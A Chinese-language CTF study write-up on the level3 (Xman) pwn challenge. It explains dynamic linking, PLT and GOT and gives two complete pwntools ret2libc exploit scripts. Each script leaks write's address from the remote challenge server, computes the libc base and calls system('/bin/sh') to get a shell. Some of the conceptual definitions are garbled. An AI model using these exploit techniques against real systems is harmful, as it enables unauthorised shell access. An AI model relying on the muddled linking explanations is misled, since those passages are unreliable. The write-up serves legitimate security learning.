一,前记

还是很有意思的的一个方向(要是我在学操作系统的时候能在学习这个就好了,会帮我更加理解操作系统这一门课)。今天要记录的是在学习PWN道路上第一个遇到的比较难的一个知识点。

二,什么是动态链接,GOT,PLT

1,动态链接

有关于链接,实际上就是一个校准函数是否需要带上所有的函数。因为在系统里面会给你提供函数。因此我们将自带ELF文件的文件称为动态链接,而将使用系统的,不使用自带的ELF文件函数初始化静态链接。

2,PLT延迟链接表

PLT(过程链接表)重复链接表是Linux ELF文件里面用来重传绑定的表,函数第一次被调用的时候才进行绑定,但是在里面必须有一条调用xxx的语句,xxx在ELF文件里面相当于一个占位符,当ELF文件运行起来之后,会真正的函数地址代替掉xxx。

3,GOT相对位移表

GOT(插入位移表)上的位移量表,它的作用是把libc中函数的地址转换成ELF内存中函数的地址。定位变量和函数的一个表。

因为有了libc.so的垫底,所以就有了ELF内存地址的增加(水涨船高的原理)

介绍完上面三个概念之后,接下来用一张图来替换一下是如何动态链接的

例题:level3(Xman)

在本题里面有关于PLT,GOT和动态链接的知识考察

初步:先查看各种文件信息

level3文件信息
libc_32.so.6文件信息

这个题其实和给没给libc文件没有什么太大的关系,于是我们现在就有:有libc的做法和无libc的做法。

第一种:有libc文件

level3文件里面没有系统,也没有/ bin / sh,盲猜是要使用动态链接找到系统和/ bin / sh。

我们先来列一下我们的解题思路:

1,在libc里面找到“ / bin / sh”(字符串搜索)和系统(函数符号)是否存在

2,获取系统的绝对地址

3,以/ bin / sh作为参数,扩展到系统执行

初步:

在首先找到libc里面有没有可用的字符串“/bin/sh”。在这里我们可以使用俩种方法去找这个字符串:第一种使用strings -t x 文件名|grep “字符串“来找到字符串和地址

第二种使用python里pwn库的ELF和libc.search()

其次我们再找system(主要是看是否存在这个函数,以及它的相对地址是多少)。在这里我们还是有两种方法:第一种方法是在IDA的函数框内直接寻找

第二种方法就是使用ELF和libc.symbols

说明可用的“/bin/sh”是存在的,相对地址也是在的。

第二步:

找到我们所需要的所有的地址(目标是得到system和/bin/sh的地址)。

由于动态链接是将整个libc链接在ELF的内存中,并没有对libc中的函数进行拆分,因此在libc中的write和system距离有多远,链接之后他们的距离还是那么远。write和system的距离很容易在libc的ELF文件中获得,再通过write函数在ELF内存的绝对地址自然也能得到system函数在ELF内存中的绝对地址,同理也能得到/bin/sh字符串的绝对地址。

system函数内存中的绝对地址 = write函数的绝对地址 + (system函数在libc中的地址 - write函数在libc中的地址)

要找到wirte函数的绝对地址(也就是GOT表中write函数的值),可以通过PLT表中write函数指针,这个也是编译时写好的值,可以通过ida获取到,然后通过调用write函数把这个数值打印出来!

由于system函数的地址不能一次性得到,需要先ROP一次到write去打印write的绝对地址,之后计算得到system函数的绝对地址再次进行ROP去执行system,因此第一次ROP之后需要返回到vulxxx函数进行

于是payload的构成

Payload1构成:0x88位填充buf + 0x4位填充EBP +调用write()+脆弱性函数()作为返回地址+文件大小+ got表write()位置+写入长度

Payload2构成:0x88位填充Buf + 0x4位填充EBP +调用system()+ exit()作为返回地址+ / bin / sh地址

#encoding:utf-8
from pwn import *
p=remote("111.198.29.45",31426)
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')
#write函数的plt地址
write_plt=elf.plt['write']
#write函数的GOT地址
write_got=elf.got['write']
#vul函数的地址
valf_addr = elf.symbols['vulnerable_function']
print("write_plt's address:",hex(write_plt))
print("write_got's address:",hex(write_got))
print("write_valf's address:",hex(valf_addr))

#获取write()在程序内绝对地址
p.recv()
payload1 = 'A'*0x88 + 'A'*0x4 + p32(write_plt) + p32(valf_addr) + p32(0x1) + p32(write_got) + p32(0x4)
p.sendline(payload1)

write_addr = u32(p.recv())
print("write  addr - "+hex(write_addr))
#载入libc并得到/bin/sh、write()、system()、exit()在libc中地址
write_libc  = libc.symbols['write']
system_libc = libc.symbols['system']
bin_sh_libc = libc.search('/bin/sh').next()
exit_libc   = libc.symbols['exit']

#libc里面的write地址
print("write_libc's address:",hex(write_libc))
#libc里面的system地址
print("system's address:",hex(system_libc))
#libc里面的bin/sh地址
print("bin/sh's address:",hex(bin_sh_libc))
#libc里面的exit地址
print("exit_libc's address:",hex(exit_libc))

#计算偏移量
libc_base   = write_addr - write_libc
#得到system()、/bin/sh、exit()在内存中的真实地址
system_addr = libc_base  + system_libc
bin_sh_addr = libc_base  + bin_sh_libc
exit_addr   = libc_base  + exit_libc
print("system addr - "+hex(system_addr))
print("bin_sh addr - "+hex(bin_sh_addr))
print("exit   addr - "+hex(exit_addr))

sleep(2)

p.recv()
payload2 = 'A'*0x88 + 'A'*0x4 + p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr)
p.send(payload2)

p.interactive()

第二种:无libc文件

如果没有libc文件,但是又有一些地址替换,这样的话我们就可以利用交错的地址,使用LibcSearcher这个库来进行匹配查询

这样的话我们的解题思路就是这样的:

1.通过vulerable_function()的read()构造ROP得到PLT表中write()的位置

2.通过write()得到write()在程序中的真实地址

3.使用LibcSearcher得到libc版本

4.在对应的libc版本中查找write(),system(),/ bin / sh的真实地址

5.使用write()的程序地址和libc地址计算出偏移量

6.在system(),/ bin / sh的真实地址上加上替换量再通过vulerable_function()执行得到shell

#encoding:utf-8
from pwn import *
from LibcSearcher import *

p = remote('111.198.29.45','39491')
e = ELF('./level3')

#获取write()在程序内GOT地址和vulnerable_function()调用地址
plt_write = e.plt['write']
got_write = e.got['write']
vule_addr = e.symbols['vulnerable_function']

#获取write()在程序内真实地址
p.recv()
payload1 = 'A'*0x88 + 'A'*0x4 + p32(plt_write) + p32(vule_addr) + p32(0x1) + p32(got_write) + p32(0x4)
p.send(payload1)

write_addr = u32(p.recv(4))
print("write  addr - "+hex(write_addr))

#获取libc真实版本并得到/bin/sh、write()、system()、exit()在libc中地址
libc = LibcSearcher('write',write_addr)
write_off  = libc.dump('write')
bin_sh_off = libc.dump('str_bin_sh')
system_off = libc.dump('system')
exit_off   = libc.dump('exit')

#计算偏移量
libc_base = write_addr - write_off

#得到system()、/bin/sh、exit()在内存中的真实地址
system_addr = libc_base + system_off
bin_sh_addr = libc_base + bin_sh_off
exit_addr   = libc_base + exit_off
print("system addr - "+hex(system_addr))
print("bin_sh addr - "+hex(bin_sh_addr))
print("exit   addr - "+hex(exit_addr))

sleep(2)

p.recv()
payload2 = 'A'*0x88 + 'A'*0x4 + p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr)
p.send(payload2)
p.interactive()